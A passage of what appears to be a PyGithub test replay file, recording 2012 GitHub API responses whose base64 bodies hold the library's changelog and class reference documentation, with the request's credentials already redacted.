i8vZ2l0aHViLmNvbS9qYWNxdWV2Ni9QeUdpdGh1Yi9p\nc3N1ZXM/bWlsZXN0b25lPTkmc3RhdGU9Y2xvc2VkKSAoU2VwdGVtYmVyIDV0\naCwgMjAxMikKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgoqIEFkZCBhIHRpbWVvdXQgb3B0\naW9uLCB0aGFuayB5b3UgbXVjaCBbeG9iYjF0XShodHRwczovL2dpdGh1Yi5j\nb20veG9iYjF0KSBmb3IgdGhlIG1lcmdlIHJlcXVlc3QuICpUaGlzIGRyb3Bz\nIFB5dGhvbiAyLjUgc3VwcG9ydCouIEkgbWF5IGJlIGFibGUgdG8gcmVzdG9y\nZSBpdCBpbiBuZXh0IHZlcnNpb24uCiogSW1wbGVtZW50IGBSZXBvc2l0b3J5\nLmRlbGV0ZWAsIHRoYW5rIHlvdSBbcG1jaGVuXShodHRwczovL2dpdGh1Yi5j\nb20vcG1jaGVuKSBmb3IgYXNraW5nCgpbVmVyc2lvbiAxLjRdKGh0dHBzOi8v\nZ2l0aHViLmNvbS9qYWNxdWV2Ni9QeUdpdGh1Yi9pc3N1ZXM/bWlsZXN0b25l\nPTgmc3RhdGU9Y2xvc2VkKSAoQXVndXN0IDR0aCwgMjAxMikKLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tCgoqIEFsbG93IGNvbm5lY3Rpb24gdG8gYSBjdXN0b20gR2l0aHViIFVS\nTCwgZm9yIEdpdGh1YiBFbnRlcnByaXNlLCB0aGFuayB5b3UgdmVyeSBtdWNo\nIFtlbmdpZV0oaHR0cHM6Ly9naXRodWIuY29tL2VuZ2llKSBmb3IgdGhlIG1l\ncmdlIHJlcXVlc3QKCltWZXJzaW9uIDEuM10oaHR0cHM6Ly9naXRodWIuY29t\nL2phY3F1ZXY2L1B5R2l0aHViL2lzc3Vlcz9taWxlc3RvbmU9NyZzdGF0ZT1j\nbG9zZWQpIChKdWx5IDEzdGgsIDIwMTIpCi0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgoqIEltcGxl\nbWVudCBbbWFya2Rvd24gcmVuZGVyaW5nXShodHRwOi8vZGV2ZWxvcGVyLmdp\ndGh1Yi5jb20vdjMvbWFya2Rvd24vKQoqIGBHaXRBdXRob3IuZGF0ZWAgaXMg\nbm93IGEgZGF0ZXRpbWUsIHRoYW5rIHlvdSBbYmlsZGVyYnVjaGldKGh0dHBz\nOi8vZ2l0aHViLmNvbS9iaWxkZXJidWNoaSkKKiBGaXggZG9jdW1lbnRhdGlv\nbiBvZiBgR2l0aHViLmdldF9naXN0YDogYGlkYCBpcyBhIHN0cmluZywgbm90\nIGFuIGludGVnZXIKCltWZXJzaW9uIDEuMl0oaHR0cHM6Ly9naXRodWIuY29t\nL2phY3F1ZXY2L1B5R2l0aHViL2lzc3Vlcz9taWxlc3RvbmU9NiZzdGF0ZT1j\nbG9zZWQpIChKdW5lIDI5dGgsIDIwMTIpCi0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgoqIEltcGxl\nbWVudCBbbGVnYWN5IHNlYXJjaCBBUElzXShodHRwOi8vZGV2ZWxvcGVyLmdp\ndGh1Yi5jb20vdjMvc2VhcmNoLyksIHRoYW5rIHlvdSBba3VrdXRzXShodHRw\nczovL2dpdGh1Yi5jb20va3VrdXRzKSBmb3IgdGVsbGluZyBtZSBHaXRodWIg\naGFkIHJlbGVhc2VkIHRoZW0KKiBGaXggYSBidWcgd2l0aCBpc3N1ZSBsYWJl\nbHMgY29udGFpbmluZyBzcGFjZXMsIHRoYW5rIHlvdSBbcGhpbGlwa2ltbWV5\nXShodHRwczovL2dpdGh1Yi5jb20vcGhpbGlwa2ltbWV5KSBmb3IgZGV0ZWN0\naW5nIHRoZSBidWcgYW5kIGZpeGluZyBpdAoqIENsYXJpZnkgaG93IGNvbGxl\nY3Rpb25zIG9mIG9iamVjdHMgYXJlIHJldHVybmVkIGJ5IGBnZXRfKmAgbWV0\naG9kcywgdGhhbmsgeW91IFtiaWxkZXJidWNoaV0oaHR0cHM6Ly9naXRodWIu\nY29tL2JpbGRlcmJ1Y2hpKSBmb3IgYXNraW5nCgpWZXJzaW9uIDEuMSAoSnVu\nZSAyMHRoLCAyMDEyKQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoK\nKiBSZXN0b3JlIGNvbXBhdGliaWxpdHkgd2l0aCBQeXRob24gMi41LCB0aGFu\nayB5b3UgW3BtdWlsdV0oaHR0cHM6Ly9naXRodWIuY29tL3BtdWlsdSkKKiBV\nc2UgYHBhY2thZ2VfZGF0YWAgaW5zdGVhZCBvZiBgZGF0YV9maWxlc2AgZm9y\nIGRvY3VtZW50YXRpb24gZmlsZXMgaW4gYHNldHVwLnB5YCwgdGhhbmsgeW91\nIFttYWxleHddKGh0dHBzOi8vZ2l0aHViLmNvbS9tYWxleHcpIGZvciByZXBv\ncnRpbmcKCltWZXJzaW9uIDEuMF0oaHR0cHM6Ly9naXRodWIuY29tL2phY3F1\nZXY2L1B5R2l0aHViL2lzc3Vlcz9taWxlc3RvbmU9MiZzdGF0ZT1jbG9zZWQp\nIChKdW5lIDNyZCwgMjAxMikKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKKiBDb21wbGV0ZSByZXdy\naXRlLCB3aXRoIG5vIG1vcmUgY29tcGxpY2F0ZWQgbWV0YS1kZXNjcmlwdGlv\nbgoqIEZ1bGwgdHlwaW5nIG9mIGF0dHJpYnV0ZXMgYW5kIHBhcmFtZXRlcnMK\nKiBGdWxsIGRvY3VtZW50YXRpb24gb2YgYXR0cmlidXRlcyBhbmQgcGFyYW1l\ndGVycwoqIE1vcmUgdXNhYmxlIGV4Y2VwdGlvbnMgcmFpc2VkIGluIGNhc2Ug\nb24gcHJvYmxlbXMgd2l0aCB0aGUgQVBJCiogU29tZSBidWdzIGFuZCBsaW1p\ndGF0aW9ucyBmaXhlZCwgc3BlY2lhbCB0aGFua3MgdG8gW2JpbGRlcmJ1Y2hp\nXShodHRwczovL2dpdGh1Yi5jb20vYmlsZGVyYnVjaGkpLCBbcm9za2Frb3Jp\nXShodHRwczovL2dpdGh1Yi5jb20vcm9za2Frb3JpKSBhbmQgW3RhbGxmb3Jh\nc211cmZdKGh0dHBzOi8vZ2l0aHViLmNvbS90YWxsZm9yYXNtdXJmKSBmb3Ig\ncmVwb3J0aW5nIHRoZW0hCgpbVmVyc2lvbiAwLjddKGh0dHBzOi8vZ2l0aHVi\nLmNvbS9qYWNxdWV2Ni9QeUdpdGh1Yi9pc3N1ZXM/bWlsZXN0b25lPTUmc3Rh\ndGU9Y2xvc2VkKSAoTWF5IDI2dGgsIDIwMTIpCi0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiogVXNl\nIFB5R2l0aHViIHdpdGggT0F1dGggYXV0aGVudGljYXRpb24gb3Igd2l0aCBu\nbyBhdXRoZW50aWNhdGlvbiBhdCBhbGwKCltWZXJzaW9uIDAuNl0oaHR0cHM6\nLy9naXRodWIuY29tL2phY3F1ZXY2L1B5R2l0aHViL2lzc3Vlcz9taWxlc3Rv\nbmU9NCZzdGF0ZT1jbG9zZWQpIChBcHJpbCAxN3RoLCAyMDEyKQotLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0KCiogRml4IFtpc3N1ZSAyMV0oaHR0cHM6Ly9naXRodWIuY29tL2ph\nY3F1ZXY2L1B5R2l0aHViL2lzc3Vlcy8yMSkgKEtleUVycm9yIHdoZW4gYWNj\nZXNzaW5nIHJlcG9zaXRvcmllcykKKiBSZS1jb21wbGV0ZWQgdGhlIEFQSSB3\naXRoIE5hbWVkVXNlci5jcmVhdGVfZ2lzdAoKCltWZXJzaW9uIDAuNV0oaHR0\ncHM6Ly9naXRodWIuY29tL2phY3F1ZXY2L1B5R2l0aHViL2lzc3Vlcz9taWxl\nc3RvbmU9MyZzdGF0ZT1jbG9zZWQpIChNYXJjaCAxOXRoLCAyMDEyKQotLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0KCiogTWFqb3IgYWNoaWV2ZW1lbnQ6ICoqYWxsIEFQSXMgYXJl\nIGltcGxlbWVudGVkKioKKiBNb3JlIHJlZmFjdG9yaW5nLCBvZiBjb3Vyc2UK\nCltWZXJzaW9uIDAuNF0oaHR0cHM6Ly9naXRodWIuY29tL2phY3F1ZXY2L1B5\nR2l0aHViL2lzc3Vlcz9taWxlc3RvbmU9MSZzdGF0ZT1jbG9zZWQpIChNYXJj\naCAxMnRoLCAyMDEyKQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiogVGhlIGxpc3Qgb2YgdGhl\nIG5vdCBpbXBsZW1lbnRlZCBBUElzIGlzIHNob3J0ZXIgdGhhbiB0aGUgbGlz\ndCBvZiB0aGUgaW1wbGVtZW50ZWQgQVBJcwoqIEFQSXMgKm5vdCBpbXBsZW1l\nbnRlZCo6CiAgICAqIEdFVCBgL2dpc3RzL3B1YmxpY2AKICAgICogR0VUIGAv\naXNzdWVzYAogICAgKiBHRVQgYC9yZXBvcy86dXNlci86cmVwby9jb21wYXJl\nLzpiYXNlLi4uOmhlYWRgCiAgICAqIEdFVCBgL3JlcG9zLzp1c2VyLzpyZXBv\nL2dpdC90cmVlcy86c2hhP3JlY3Vyc2l2ZT0xYAogICAgKiBQT1NUIGAvcmVw\nb3MvOnVzZXIvOnJlcG8vZ2l0L3RyZWVzP2Jhc2VfdHJlZT1gCiogR2lzdHMK\nKiBBdXRvcml6YXRpb25zCiogS2V5cwoqIEhvb2tzCiogRXZlbnRzCiogTWVy\nZ2UgcHVsbCByZXF1ZXN0cwoqIE1vcmUgcmVmYWN0b3JpbmcsIG9uZSBtb3Jl\nIHRpbWUKClZlcnNpb24gMC4zIChGZWJydWFyeSAyNnRoLCAyMDEyKQotLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiogTW9yZSByZWZhY3Rv\ncmluZwoqIElzc3VlcywgbWlsZXN0b25lcyBhbmQgdGhlaXIgbGFiZWxzCiog\nTmFtZWRVc2VyOgogICAgKiBlbWFpbHMKKiBSZXBvc2l0b3J5OgogICAgKiBk\nb3dubG9hZHMKICAgICogdGFncywgYnJhbmNoZXMsIGNvbW1pdHMgYW5kIGNv\nbW1lbnRzIChub3QgdGhlIHNhbWUgYXMgIkdpdCBvYmplY3RzIiBvZiB2ZXJz\naW9uIDAuMikKICAgICogcHVsbCByZXF1ZXN0cyAobm8gYXV0b21hdGljIG1l\ncmdlIHlldCkKKiBBdXRvbWF0aWMgZ2VuZXJhdGlvbiBvZiB0aGUgcmVmZXJl\nbmNlIGRvY3VtZW50YXRpb24gb2YgY2xhc3Nlcywgd2l0aCBsZXNzICJzZWUg\nQVBJInMsIGFuZCBsZXNzIGVycm9ycwoKVmVyc2lvbiAwLjIgKEZlYnJ1YXJ5\nIDIzcmQsIDIwMTIpCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLQoKKiBSZWZhY3RvcmluZwoqIFRlYW1zIGRldGFpbHMgYW5kIG1vZGlmaWNh\ndGlvbgogICAgKiBiYXNpYyBhdHRyaWJ1dGVzCiAgICAqIGxpc3QgdGVhbXMg\naW4gb3JnYW5pemF0aW9ucywgb24gcmVwb3NpdG9yaWVzCiogR2l0IG9iamVj\ndHMKICAgICogY3JlYXRlIGFuZCBnZXQgdGFncywgcmVmZXJlbmNlcywgY29t\nbWl0cywgdHJlZXMsIGJsb2JzCiAgICAqIGxpc3QgYW5kIGVkaXQgcmVmZXJl\nbmNlcwoKVmVyc2lvbiAwLjEgKEZlYnJ1YXJ5IDE5dGgsIDIwMTIpCi0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKKiBVc2VyIGRldGFpbHMg\nYW5kIG1vZGlmaWNhdGlvbgogICAgKiBiYXNpYyBhdHRyaWJ1dGVzCiAgICAq\nIGZvbGxvd2VycywgZm9sbG93aW5nLCB3YXRjaGluZwogICAgKiBvcmdhbml6\nYXRpb25zCiAgICAqIHJlcG9zaXRvcmllcwoqIFJlcG9zaXRvcnkgZGV0YWls\ncyBhbmQgbW9kaWZpY2F0aW9uCiAgICAqIGJhc2ljIGF0dHJpYnV0ZXMKICAg\nICogZm9ya2luZwogICAgKiBjb2xsYWJvcmF0b3JzLCBjb250cmlidXRvcnMs\nIHdhdGNoZXJzCiogT3JnYW5pemF0aW9uIGRldGFpbHMgYW5kIG1vZGlmaWNh\ndGlvbgogICAgKiBiYXNpYyBhdHRyaWJ1dGVzCiAgICAqIG1lbWJlcnMgYW5k\nIHB1YmxpYyBtZW1iZXJzCg==\n","size":7531,"name":"ReadMe.md"} https GET api.github.com None /repos/PyGithub/PyGithub/contents/doc/ReferenceOfClasses.md {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '39214'), ('server', 'nginx/1.0.13'), ('last-modified', 'Wed, 05 Sep 2012 17:54:40 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"71786feb5f476112c5a8aa894ee7ca6c"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 08 Sep 2012 10:43:48 GMT'), ('content-type', 'application/json; charset=utf-8')] {"_links":{"self":"https://api.github.com/repos/PyGithub/PyGithub/contents/doc/ReferenceOfClasses.md","git":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/b82d109eca7f58b32e6b3be6694578fa5451766b","html":"https://github.com/PyGithub/PyGithub/blob/master/doc/ReferenceOfClasses.md"},"type":"file","sha":"b82d109eca7f58b32e6b3be6694578fa5451766b","path":"doc/ReferenceOfClasses.md","encoding":"base64","size":28122,"name":"ReferenceOfClasses.md","content":"WW91IGRvbid0IG5vcm1hbHkgY3JlYXRlIGluc3RhbmNlcyBvZiBhbnkgY2xh\nc3MgYnV0IGBHaXRodWJgLgpZb3Ugb2J0YWluIGluc3RhbmNlcyB0aHJvdWdo\nIGNhbGxzIHRvIGBzZWFyY2hfYCwgYGdldF9gIGFuZCBgY3JlYXRlX2AgbWV0\naG9kcy4KCk1ldGhvZHMgcmV0dXJuaW5nIGFuICJpdGVyYXRvciBvZiBgU29t\nZVR5cGVgIiByZXR1cm4gYW4gaXRlcmF0b3Igd2hpY2ggeWllbGRzIGluc3Rh\nbmNlcyBvZiBgU29tZVR5cGVgLgpUaGlzIGltcGxlbWVudHMgbGF6eSBbcGFn\naW5hdGlvbiByZXF1ZXN0c10oaHR0cDovL2RldmVsb3Blci5naXRodWIuY29t\nL3YzLyNwYWdpbmF0aW9uKS4KWW91IGNhbiB1c2UgdGhpcyBpdGVyYXRvciBp\nbiBhIGBmb3IgZiBpbiB1c2VyLmdldF9mb2xsb3dlcnMoKTpgIGxvb3Agb3Ig\nd2l0aCBhbnkgW2l0ZXJ0b29sc10oaHR0cDovL2RvY3MucHl0aG9uLm9yZy9s\naWJyYXJ5L2l0ZXJ0b29scy5odG1sKSBmdW5jdGlvbnMsCmJ1dCB5b3UgY2Fu\nbm90IGtub3cgdGhlIG51bWJlciBvZiBvYmplY3RzIHJldHVybmVkIGJlZm9y\nZSB0aGUgZW5kIG9mIHRoZSBpdGVyYXRpb24uCklmIHRoYXQncyByZWFsbHkg\nd2hhdCB5b3UgbmVlZCwgeW91IGNhbnQgdXNlIGBsZW4oIGxpc3QoIHVzZXIu\nZ2V0X2ZvbGxvd2VycygpICkgKWAsIHdoaWNoIGRvZXMgYWxsIHRoZSByZXF1\nZXN0cyBuZWVkZWQgdG8gZW51bWVyYXRlIHRoZSB1c2VyJ3MgZm9sbG93ZXJz\nLgpOb3RlIHRoYXQgdGhlcmUgaXMgb2Z0ZW4gYW4gYXR0cmlidXRlIGdpdmlu\nZyB0aGlzIHZhbHVlIChpbiB0aGF0IGNhc2UgYHVzZXIuZm9sbG93ZXJzYCku\nCgpDbGFzcyBgR2l0aHViYAo9PT09PT09PT09PT09PQoKQ29uc3RydWN0ZWQg\nZnJvbSB1c2VyJ3MgbG9naW4gYW5kIHBhc3N3b3JkIG9yIE9BdXRoIHRva2Vu\nIG9yIG5vdGhpbmc6CgogICAgZyA9IEdpdGh1YiggbG9naW4sIHBhc3N3b3Jk\nICkKICAgIGcgPSBHaXRodWIoIHRva2VuICkKICAgIGcgPSBHaXRodWIoKQoK\nWW91IGNhbiBhZGQgYW4gYXJndW1lbnQgYGJhc2VfdXJsID0gImh0dHA6Ly9t\neS5lbnRlcnByaXNlLmNvbTo4MDgwL3BhdGgvdG8vZ2l0aHViImAgdG8gY29u\nbmVjdCB0byBhIGxvY2FsIGluc3RhbGwgb2YgR2l0aHViIChpZS4gR2l0aHVi\nIEVudGVycHJpc2UpLgpBbm90aGVyIGFyZ3VtZW50LCB0aGF0IGNhbiBiZSBw\nYXNzZWQgaXMgYHRpbWVvdXRgIHdoaWNoIGhhcyBkZWZhdWx0IHZhbHVlIGAx\nMGAuCgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgcmF0ZV9saW1pdGluZ2A6\nIHR1cGxlIG9mIHR3byBpbnRlZ2VyczogcmVtYWluaW5nIGFuZCBsaW1pdCwg\nYXMgZXhwbGFpbmVkIGluIFtSYXRlIExpbWl0aW5nXShodHRwOi8vZGV2ZWxv\ncGVyLmdpdGh1Yi5jb20vdjMvI3JhdGUtbGltaXRpbmcpCgpNZXRob2RzCi0t\nLS0tLS0KKiBgZ2V0X3VzZXIoKWA6IGBBdXRoZW50aWNhdGVkVXNlcmAKKiBg\nZ2V0X3VzZXIoIGxvZ2luIClgOiBgTmFtZWRVc2VyYAoqIGBnZXRfb3JnYW5p\nemF0aW9uKCBsb2dpbiApYDogYE9yZ2FuaXphdGlvbmAKKiBgZ2V0X2dpc3Qo\nIGlkIClgOiBgR2lzdGAKICAgICogYGlkYDogc3RyaW5nCiogYGdldF9naXN0\ncygpYDogaXRlcmF0b3Igb2YgYEdpc3RgCiogYHNlYXJjaF9yZXBvcygga2V5\nd29yZCApYDogaXRlcmF0b3Igb2YgYFJlcG9zaXRvcnlgCiogYGxlZ2FjeV9z\nZWFyY2hfcmVwb3MoIGtleXdvcmQsIFtsYW5ndWFnZV0gKWA6IGl0ZXJhdG9y\nIG9mIGBSZXBvc2l0b3J5YAogICAgKiBga2V5d29yZGA6IHN0cmluZwogICAg\nKiBgbGFuZ3VhZ2VgOiBzdHJpbmcKKiBgbGVnYWN5X3NlYXJjaF91c2Vycygg\na2V5d29yZCApYDogaXRlcmF0b3Igb2YgYE5hbWVkVXNlcmAKICAgICogYGtl\neXdvcmRgOiBzdHJpbmcKKiBgbGVnYWN5X3NlYXJjaF91c2VyX2J5X2VtYWls\nKCBlbWFpbCApYDogYE5hbWVkVXNlcmAKICAgICogYGVtYWlsYDogc3RyaW5n\nCiogYHJlbmRlcl9tYXJrZG93biggdGV4dCwgW2NvbnRleHRdIClgOiBzdHJp\nbmcKICAgICogYHRleHRgOiBzdHJpbmcKICAgICogYGNvbnRleHRgOiBgUmVw\nb3NpdG9yeWAKCkNsYXNzIGBHaXRodWJFeGNlcHRpb25gCj09PT09PT09PT09\nPT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgc3RhdHVz\nYDogaW50ZWdlcgoqIGBkYXRhYDogZGljdAoKQ2xhc3MgYEF1dGhlbnRpY2F0\nZWRVc2VyYAo9PT09PT09PT09PT09PT09PT09PT09PT09CgpBdHRyaWJ1dGVz\nCi0tLS0tLS0tLS0KKiBgYXZhdGFyX3VybGA6IHN0cmluZwoqIGBiaW9gOiBz\ndHJpbmcKKiBgYmxvZ2A6IHN0cmluZwoqIGBjb2xsYWJvcmF0b3JzYDogaW50\nZWdlcgoqIGBjb21wYW55YDogc3RyaW5nCiogYGNyZWF0ZWRfYXRgOiBkYXRl\ndGltZS5kYXRldGltZQoqIGBkaXNrX3VzYWdlYDogaW50ZWdlcgoqIGBlbWFp\nbGA6IHN0cmluZwoqIGBmb2xsb3dlcnNgOiBpbnRlZ2VyCiogYGZvbGxvd2lu\nZ2A6IGludGVnZXIKKiBgZ3JhdmF0YXJfaWRgOiBzdHJpbmcKKiBgaGlyZWFi\nbGVgOiBib29sCiogYGh0bWxfdXJsYDogc3RyaW5nCiogYGlkYDogaW50ZWdl\ncgoqIGBsb2NhdGlvbmA6IHN0cmluZwoqIGBsb2dpbmA6IHN0cmluZwoqIGBu\nYW1lYDogc3RyaW5nCiogYG93bmVkX3ByaXZhdGVfcmVwb3NgOiBpbnRlZ2Vy\nCiogYHBsYW5gOiBgUGxhbmAKKiBgcHJpdmF0ZV9naXN0c2A6IGludGVnZXIK\nKiBgcHVibGljX2dpc3RzYDogaW50ZWdlcgoqIGBwdWJsaWNfcmVwb3NgOiBp\nbnRlZ2VyCiogYHRvdGFsX3ByaXZhdGVfcmVwb3NgOiBpbnRlZ2VyCiogYHR5\ncGVgOiBzdHJpbmcKKiBgdXJsYDogc3RyaW5nCgpBdXRob3JpemF0aW9ucwot\nLS0tLS0tLS0tLS0tLQoqIGBjcmVhdGVfYXV0aG9yaXphdGlvbiggW3Njb3Bl\ncywgbm90ZSwgbm90ZV91cmxdIClgOiBgQXV0aG9yaXphdGlvbmAKICAgICog\nYHNjb3Blc2A6IGxpc3Qgb2Ygc3RyaW5nCiAgICAqIGBub3RlYDogc3RyaW5n\nCiAgICAqIGBub3RlX3VybGA6IHN0cmluZwoqIGBnZXRfYXV0aG9yaXphdGlv\nbiggaWQgKWA6IGBBdXRob3JpemF0aW9uYAogICAgKiBgaWRgOiBpbnRlZ2Vy\nCiogYGdldF9hdXRob3JpemF0aW9ucygpYDogaXRlcmF0b3Igb2YgYEF1dGhv\ncml6YXRpb25gCgpFbWFpbHMKLS0tLS0tCiogYGFkZF90b19lbWFpbHMoIGVt\nYWlsLCAuLi4gKWAKICAgICogYGVtYWlsYDogc3RyaW5nCiogYGdldF9lbWFp\nbHMoKWA6IGxpc3Qgb2Ygc3RyaW5nCiogYHJlbW92ZV9mcm9tX2VtYWlscygg\nZW1haWwsIC4uLiApYAogICAgKiBgZW1haWxgOiBzdHJpbmcKCkV2ZW50cwot\nLS0tLS0KKiBgZ2V0X2V2ZW50cygpYDogaXRlcmF0b3Igb2YgYEV2ZW50YAoq\nIGBnZXRfb3JnYW5pemF0aW9uX2V2ZW50cyggb3JnIClgOiBpdGVyYXRvciBv\nZiBgRXZlbnRgCiAgICAqIGBvcmdgOiBgT3JnYW5pemF0aW9uYAoKRm9sbG93\nZXJzCi0tLS0tLS0tLQoqIGBnZXRfZm9sbG93ZXJzKClgOiBpdGVyYXRvciBv\nZiBgTmFtZWRVc2VyYAoKRm9sbG93aW5nCi0tLS0tLS0tLQoqIGBhZGRfdG9f\nZm9sbG93aW5nKCBmb2xsb3dpbmcgKWAKICAgICogYGZvbGxvd2luZ2A6IGBO\nYW1lZFVzZXJgCiogYGdldF9mb2xsb3dpbmcoKWA6IGl0ZXJhdG9yIG9mIGBO\nYW1lZFVzZXJgCiogYGhhc19pbl9mb2xsb3dpbmcoIGZvbGxvd2luZyApYDog\nYm9vbAogICAgKiBgZm9sbG93aW5nYDogYE5hbWVkVXNlcmAKKiBgcmVtb3Zl\nX2Zyb21fZm9sbG93aW5nKCBmb2xsb3dpbmcgKWAKICAgICogYGZvbGxvd2lu\nZ2A6IGBOYW1lZFVzZXJgCgpGb3JraW5nCi0tLS0tLS0KKiBgY3JlYXRlX2Zv\ncmsoIHJlcG8gKWA6IGBSZXBvc2l0b3J5YAogICAgKiBgcmVwb2A6IGBSZXBv\nc2l0b3J5YAoKR2lzdHMKLS0tLS0KKiBgY3JlYXRlX2dpc3QoIHB1YmxpYywg\nZmlsZXMsIFtkZXNjcmlwdGlvbl0gKWA6IGBHaXN0YAogICAgKiBgcHVibGlj\nYDogYm9vbAogICAgKiBgZmlsZXNgOiBkaWN0IG9mIHN0cmluZyB0byBgSW5w\ndXRGaWxlQ29udGVudGAKICAgICogYGRlc2NyaXB0aW9uYDogc3RyaW5nCiog\nYGdldF9naXN0cygpYDogaXRlcmF0b3Igb2YgYEdpc3RgCiogYGdldF9zdGFy\ncmVkX2dpc3RzKClgOiBpdGVyYXRvciBvZiBgR2lzdGAKCklzc3VlcwotLS0t\nLS0KKiBgZ2V0X2lzc3VlcygpYDogaXRlcmF0b3Igb2YgYElzc3VlYAoKS2V5\ncwotLS0tCiogYGNyZWF0ZV9rZXkoIHRpdGxlLCBrZXkgKWA6IGBVc2VyS2V5\nYAogICAgKiBgdGl0bGVgOiBzdHJpbmcKICAgICogYGtleWA6IHN0cmluZwoq\nIGBnZXRfa2V5KCBpZCApYDogYFVzZXJLZXlgCiAgICAqIGBpZGA6IGludGVn\nZXIKKiBgZ2V0X2tleXMoKWA6IGl0ZXJhdG9yIG9mIGBVc2VyS2V5YAoKTW9k\naWZpY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBbbmFtZSwgZW1haWws\nIGJsb2csIGNvbXBhbnksIGxvY2F0aW9uLCBoaXJlYWJsZSwgYmlvXSApYAog\nICAgKiBgbmFtZWA6IHN0cmluZwogICAgKiBgZW1haWxgOiBzdHJpbmcKICAg\nICogYGJsb2dgOiBzdHJpbmcKICAgICogYGNvbXBhbnlgOiBzdHJpbmcKICAg\nICogYGxvY2F0aW9uYDogc3RyaW5nCiAgICAqIGBoaXJlYWJsZWA6IGJvb2wK\nICAgICogYGJpb2A6IHN0cmluZwoKT3JncwotLS0tCiogYGdldF9vcmdzKClg\nOiBpdGVyYXRvciBvZiBgT3JnYW5pemF0aW9uYAoKUmVwb3MKLS0tLS0KKiBg\nY3JlYXRlX3JlcG8oIG5hbWUsIFtkZXNjcmlwdGlvbiwgaG9tZXBhZ2UsIHBy\naXZhdGUsIGhhc19pc3N1ZXMsIGhhc193aWtpLCBoYXNfZG93bmxvYWRzXSAp\nYDogYFJlcG9zaXRvcnlgCiAgICAqIGBuYW1lYDogc3RyaW5nCiAgICAqIGBk\nZXNjcmlwdGlvbmA6IHN0cmluZwogICAgKiBgaG9tZXBhZ2VgOiBzdHJpbmcK\nICAgICogYHByaXZhdGVgOiBib29sCiAgICAqIGBoYXNfaXNzdWVzYDogYm9v\nbAogICAgKiBgaGFzX3dpa2lgOiBib29sCiAgICAqIGBoYXNfZG93bmxvYWRz\nYDogYm9vbAoqIGBnZXRfcmVwbyggbmFtZSApYDogYFJlcG9zaXRvcnlgCiAg\nICAqIGBuYW1lYDogc3RyaW5nCiogYGdldF9yZXBvcyggW3R5cGUsIHNvcnQs\nIGRpcmVjdGlvbl0gKWA6IGl0ZXJhdG9yIG9mIGBSZXBvc2l0b3J5YAogICAg\nKiBgdHlwZWA6IHN0cmluZwogICAgKiBgc29ydGA6IHN0cmluZwogICAgKiBg\nZGlyZWN0aW9uYDogc3RyaW5nCgpXYXRjaGVkCi0tLS0tLS0KKiBgYWRkX3Rv\nX3dhdGNoZWQoIHdhdGNoZWQgKWAKICAgICogYHdhdGNoZWRgOiBgUmVwb3Np\ndG9yeWAKKiBgZ2V0X3dhdGNoZWQoKWA6IGl0ZXJhdG9yIG9mIGBSZXBvc2l0\nb3J5YAoqIGBoYXNfaW5fd2F0Y2hlZCggd2F0Y2hlZCApYDogYm9vbAogICAg\nKiBgd2F0Y2hlZGA6IGBSZXBvc2l0b3J5YAoqIGByZW1vdmVfZnJvbV93YXRj\naGVkKCB3YXRjaGVkIClgCiAgICAqIGB3YXRjaGVkYDogYFJlcG9zaXRvcnlg\nCgpDbGFzcyBgQXV0aG9yaXphdG